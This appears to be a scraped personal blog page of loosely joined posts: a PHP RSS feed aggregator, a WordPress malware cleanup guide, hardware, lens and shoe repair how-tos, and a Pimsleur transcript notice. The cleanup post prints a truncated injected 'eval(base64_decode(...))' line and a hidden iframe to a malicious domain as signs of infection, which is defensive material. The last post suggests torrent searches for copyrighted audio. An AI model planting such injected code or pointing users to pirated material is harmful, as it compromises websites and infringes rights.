To install, extract the following zip file to a directory where you want your combined feeds to be displayed, I use thydzik.com/combinedfeed as thydizk.com/feed is already used by Wordpress.

Edit index.php for your site, and make sure the temp directory has write permissions (mod 755). That should be it. Enjoy.

thydzik RSS feed aggregator v2.zip

Thanks to Magpie RSS and Feedcreator.

<?php
	$TMP_ROOT = "temp/"; //a atempory folder for storing the cached feeds, need to have write access (mod755)
	$DOMAIN_NAME = "http://thydzik.com/";
	$SITE_TITLE = "Travis Hydzik's blog feeds";
	$SITE_DESRIPTION = "A collection of Travis Hydzik's blog feeds";
	$SITE_AUTHOR = "Travis Hydzik";

	$FEEDS_ARRAY  = array( //the collection of urls linking to individual feeds
		"http://hydzik.com/feed/",
		"http://sonyaandtravis.com/feed",
		"http://thydzik.com/feed/"
	);

	$MAX_ITEMS = 10;
	$SHOW_FULL_FEED = FALSE;

	//stop editing from here onwards

	define('MAGPIE_DIR', '');
	define('MAGPIE_CACHE_DIR', $TMP_ROOT);

	//include magpie rss http://magpierss.sourceforge.net/
	@require_once(MAGPIE_DIR.'rss_fetch.inc');

	//include universal feed creator http://sourceforge.net/projects/feedcreator/
	@include(MAGPIE_DIR.'feedcreator.class.php');

	//create the basic rss feed
	$rss = new UniversalFeedCreator();
	$rss->useCached();
	$rss->title = $SITE_TITLE;
	$rss->description = $SITE_DESRIPTION;
	$rss->link = $DOMAIN_NAME;
	$rss->syndicationURL = curPageURL();

	//get all items is all feeds
	$total_temp = 0; //temp total number of posts in all rss feeds
	foreach ($FEEDS_ARRAY as $single_url) {
		$array_temp[$single_url]['page_title'] = url_grab_title($single_url); //grab the page title

		$rss_temp = fetch_rss($single_url);
		$items = array_slice($rss_temp->items, 0, $MAX_ITEMS);
		$array_temp[$single_url]['rss_data'] = $items;
		$total_temp += count($items);

		$array_temp[$single_url]['rss_pointer'] = 0;

		preg_match('@^(?:http://)?([^/]+)@i', $single_url, $matches);
		$array_temp[$single_url]['site_url'] = $matches[0];
	}

	while ($total_temp <> 0 && $MAX_ITEMS > 0){// loop while there are remaining posts to process
		$date_timestamp_temp = 0; //initialise to 0
		foreach ($FEEDS_ARRAY as $single_url) {
			$this_date_timestamp = $array_temp[$single_url]['rss_data'][$array_temp[$single_url]['rss_pointer']]['date_timestamp']; //get the date stamp of this post
			if ($this_date_timestamp > $date_timestamp_temp) { //if this date stamp is the newest, save where it came from
				$date_timestamp_temp = $this_date_timestamp; //update with this date stamp
				$temp_url = $single_url; //save the url feed
				$pointer_temp = $array_temp[$single_url]['rss_pointer']; //save the item number
			}
		}

		$total_temp --; //decrement total remaining posts to process
		$MAX_ITEMS --; //decrement number of posts to display
		$array_temp[$temp_url]['rss_pointer'] ++; //increment post index of used post rss

		//get the saved item
		$item = $array_temp[$temp_url]['rss_data'][$pointer_temp];

		//create the new item
		$item_new = new FeedItem();

		//add all the copied basics
		$item_new->title = $item['title'];
		$item_new->link = $item['link'];
		$item_new->date = $item['pubdate'];
		$item_new->author = $item['author'];
		$item_new->source = $temp_url;

		//to show full feed or blurb
		if ($SHOW_FULL_FEED) {
			$item_new->description = $item['content']['encoded'].'<p>Copyright &copy; <a href="'.$array_temp[$temp_url]['site_url'].'">'.$array_temp[$temp_url]['page_title'].'</a>. All Rights Reserved.</p>';
		} else {
			$item_new->description = $item['description']       .'<p>Copyright &copy; <a href="'.$array_temp[$temp_url]['site_url'].'">'.$array_temp[$temp_url]['page_title'].'</a>. All Rights Reserved.</p>';
		}

		$rss->addItem($item_new);
	}

	// a quick function the grab a pages title
	function url_grab_title($rss_url) {
  		$contents = file_get_contents($rss_url, TRUE, NULL, 0, 3072);
  		$contents = preg_replace("/(\n|\r)/", '', $contents);
		preg_match('/<title>(.*?)<\/title>/i', $contents, $matches);
		return $matches[1];
	}

	//get page url (for syndication), source http://www.webcheatsheet.com/PHP/get_current_page_url.php
	function curPageURL() {
		$pageURL = 'http';
		if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
		$pageURL .= "://";
		if ($_SERVER["SERVER_PORT"] != "80") {
			$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
		} else {
			$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
		}
		return $pageURL;
	}

	// get your news items from other feed and display back
	$rss->saveFeed("RSS2.0", $TMP_ROOT."feed.xml");
?>

Edit the following style.css in the wp-content\themes\default folder;

.entry ul li:before, #sidebar ul ul li:before {
	content: "\00BB \0020";
	}

to;

.entry ul li:before, #sidebar ul ul li:before {
	content: "\2022 \0020";
	}

The symptoms include;

• A similar error in your RSS feed Warning: gzuncompress() [function.gzuncompress]: data error in /home/content/t/h/y/thydzik/html/blog/wp-includes/http.php on line 1818.
• A broken Admin/Dashboard. This is due to the addition of the malicious script on the dynamic CSS files.
• The Admin/Dashboard refreshes to a blank screen. This is due to the malicious script redirecting to other page.

What to look for;

• The following code (truncated) inserted into all your php files;

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl...=="));?>

• The following code when you view the source code in a browser;

<iframe src="http://iss9w8s89xx.org/in.php" width=1 height=1 frameborder=0></iframe>

What to do;

• Change all your passwords.
• Backup the ENTIRE site to local computer.
• Cleanup all affected php files (it doesn’t seem to do anything to other file types). See below.
• Re-upload your site.

Now to make things easier, I have created a VBS script that will automate the cleanup task. Place it in your local root director and run. A log file will be generated at C:\cleanUpWordPressPHP.txt listing the files it has cleaned.

Download the VBS script cleanUpWordPressPHP.vbs (right-click save-as)

Further information can be found on this Google support thread.

Decorate a purse with colourful buttons

Turkish Delight (Lokum) recipe

Whilst I like the design and build of the BPN-350SAS there are some extreme flaws in the cooling design must likely due to implementation costs or interference with the units cosmetics.

Firstly, the 2x 60mm fans do not provide enough airflow; secondly, there are simply not enough paths for the air to flow. If you look inside the unit you will see 5 slits behind the PCB, and that is all there is for hot air exhaust. If you look at the front bezels, beneath the locking key hole plastic are 3 air vents, and this is all there is for the cool air intake.

Now, my solution has improved all off the above by first, removing the 60mm fans and installing 2x 80mm fans, these are connected via a molex connector. You can observe that 2x 80cm fans protrude 20mm on one side so it was necessary to install the protruding fan once the unit was installed into the case. Secondly, additional air holes on the back of the unit and on the top and under side of the unit to allow more air to circulate. I also removed the 5 springs that popped the drives out, but this was more to improve the backplane’s connection with the drives.

The challenge is trying to get to this single screw, which involves the separation of the lens into over 10 components, and the removal of about 20 small screws. Hopefully this guide will make the disassembly job a whole lot easier.

First, a reminder of what the lens looks like.

Turn the lens on its side with the connection contacts closest to you. There are 2 tiny Philips screws to remove.

Balance the lens on its front with the metal lens screw lock ring visible. There are 4 small Philips screws to remove.

The metal ring can now be hinged apart. This next step is the most difficult. The inner black plastic ring is connected to the metal outer ring with 4 plastic clips in the inside. By pushing the clips towards the center, the black plastic ring can be removed from the top of the metal outer ring. Much care is needed due to the ribbon cable still being attached to the connection contacts allowing for a gap of roughly no more than 1cm.

Once the inner black plastic ring is removed, the outer metal screw lock ring can be removed, exposing the PCB protected by a black plastic housing.

Disconnect a single pressure ribbon cable attached to the inside of the black plastic housing which will then allow for its removal exposing the PCB.

Disconnect the 5 ribbon cables from the PCB. 2 are pressure connected, 2 with a hinged clip and 1 with a pressure clip. Unscrew a single Philips screw allowing the removal of the PCB.

Remove the 5 screws (circled in red) holding the outer black plastic ring allowing the remove of the black plastic ring. Then remove the 3 inner screws (circled in blue).

Turn the lens over and remove the rubber zoom grip. It can be removed by inserting a very thin screw driver under the rubber and working your way around.

With the rubber zoom grip removed, rotate the lens until you find a black rectangle sticker, peal this off to expose some contactors.

With a Philip driver, unscrew the contactors. I actually performed this when reassembling the lens and slightly damaged them. It is better to remove them at the start to prevent this.

There are 3 screws sitting on small metal tubes between a groove, finally remove these.

With these removed the inner lens portion can now be removed from the outer casing.

You now have access to the problem screw(s) that need tightening. Once tightened, add some Loctite or nail-polish to stop the screws becoming loose again.

Some do’s and don’ts

• don’t remove the front lens sticker or 3 screws behind it.
• don’t remove the zoom sticker with m/ft increments.
• don’t touch or disassemble any of the focusing ring!
• do keep your UV filter on the lens, you can still remove the rubber grip with it on.
• do make sure the focusing pin between the inner and outer len is in place.

References

• FixYa post by Gert Jan [fixa.com]
• Canon EF 20-35mm f/3.5-4.5 USM Lens Repair [photo.net]

To download the transcripts as a zip file, enter your email address below and click submit. A download link will be sent to your inbox which is good for 5 minutes. Note: the file is 8mbs.

Leave a comment if there are any problems. I will eventually add all transcripts I have collected to the zip file.

My latest project was upgrading my full 2TB server (Adaptec 2410SA with 4x Seagate 750gb drives in RAID-5) to a 6TB server (Adaptec 3805 with 8x Western Digital 1TB drives in RAID-6).

Obviously, the Dell PowerEdge SC430 wasn’t designed for 9 drives (an extra for the OS) so it was quite challenging fitting it all on. It was made significantly easier by purchasing an iStar BPN-350SAS which allows for five 3.5″ drives to be squeezed into three 5.25″ bays. Plus it is tray-less, and looks very sleek. There was a significant problem in that the SC430 only supported two 5.12″ bays, after quite a bit of hacking the case up, I then realised that the motherboard was preventing the BPN-350SAS to fit in horizontally, with extreme luck and millimetre clearance, it did manage to fit in vertically, but with the extension of the P4 connector and two capacitors that were in the way. Refer to the following pictures.

The SC430 now had the two standard bottom hard disk drive cages and the five from the BPN-350SAS which meant I was still two drive spaces short. I removed the drive cage from a Dell Optiplex GX270, which I managed to luckily remove easily with a long stemmed drill to remove the rivets. I removed the SC430’s card fan, and riveted the GX270’s cage in place. This allowed me to still use rails for easy removal of drives. The SC430’s card fan was relocated as an exhaust fan to the back, mainly to stop BIOS from pausing on fan fault during boot-up.

Minor problems were; cable protrusion and the side panel not closing. This was fixed by using SATA power cables which had clip on connectors forming a natural right-angled connection, and also by carefully whittling the SATA cable connections so a tighter angle could be formed.

The damaged high heel shoe culprit, notice the lack of any heel and the exposed dangerous metal pin.

The first task is to remove the old metal pin, depending on how worn the heel is depends on the ease of doing so. If there is a little rubber still visible or about 1mm of the pin showing it will be quite easy. I like to use a vice to squeeze the protruding head and then pull the shoe while rotating left and right, it should be easy enough with pliers, only a little more fiddling around.

If there is very little of the metal pin protruding and you are finding it very difficult to get a good grip on it, I sometimes cut about 1mm of the white plastic heel around the pin with a knife to expose more of the pin.

Once the pin is removed, give the heel a file to make everything nice and flat. Notice quite a bit of wear on the heel, depending on how fussy the owner is, you can remove any hanging leather and give the heel a nice coat of black paint. Personally, I don’t think it matters as it is quite hidden when worn.

After a double spray of flat black paint.

Now, I purchased 10 pairs of 10.5mm (7/16″) replacement heel tips for £7.50 (roughly $15 Australian, including shipping to Australia) on eBay. I have found that the majority of heels are around 10mm, there was one instance I had a stiletto of roughly 8mm and all that was required was some grinding/filing to obtain the required size. The shoes pictured are 10.5mm.

In some cases the size of the pin hole may be too large for the regular 2.9mm (7/64″) pin, so some convertors to 3.1mm (or what they call Flexitubes) may be required. I purchased 8 pairs for £2.85 (roughly $5.7 Australian, including shipping to Australia) from Stiletto Heel Tips Online.

To fix the new heel to the shoe, first make a very basic shoehorn. Notice the wood is at an angle, as the sole of the shoe as actually at an angle to the heel. A slightly thicker piece of wood would have been better.

Hammer the new heel all the way down till the plastic heel is touching the shoe’s heel. Make sure it is facing the right direction, the curved size facing back, and the flat side facing front.

The completely repaired high heel shoes for the cost of less than $2.50 Australian.

Find the Notice of Copyright Infringement below.

• Notice of Copyright Infringement – Pimsleur thydzik.com.pdf

So what are some Pimsleur alternatives for learning a language that are more than happy to provide transcripts.

• Livemocha is a Social Language Learning resource.
• The world’s number 1 in language learning software, Rosetta Stone is another alternative.
• Instant Immersion produces a large collection of language learning programs, in the forms of computer software, audio and books.
• FSI Language Courses is a free alternative with a large number of audio units in the public domain.

There are still plenty of sights that provide Pimsleur transcripts.

• Taryn’s Transcripts provides exact Mandarin transcrpts of all lessons of all units
• Marcel Nijman’s transcripts are still out there Pimsleur Mandarin Transcription Marcel Nijman and Marcel Nijman Pimsleur Mandarin transcription
• Pimsleur Mandarin Transcripts for courses I, II and III by fizzyfizzd

And don’t forgot you can freely download any of the Pimsleur audio books online

• Google search “Pimsleur Mandarin torrent”

Update December 2009: I have made the transcripts available for download;

http://thydzik.com/pimsleur-mandarin-chinese-unit-1-transcripts/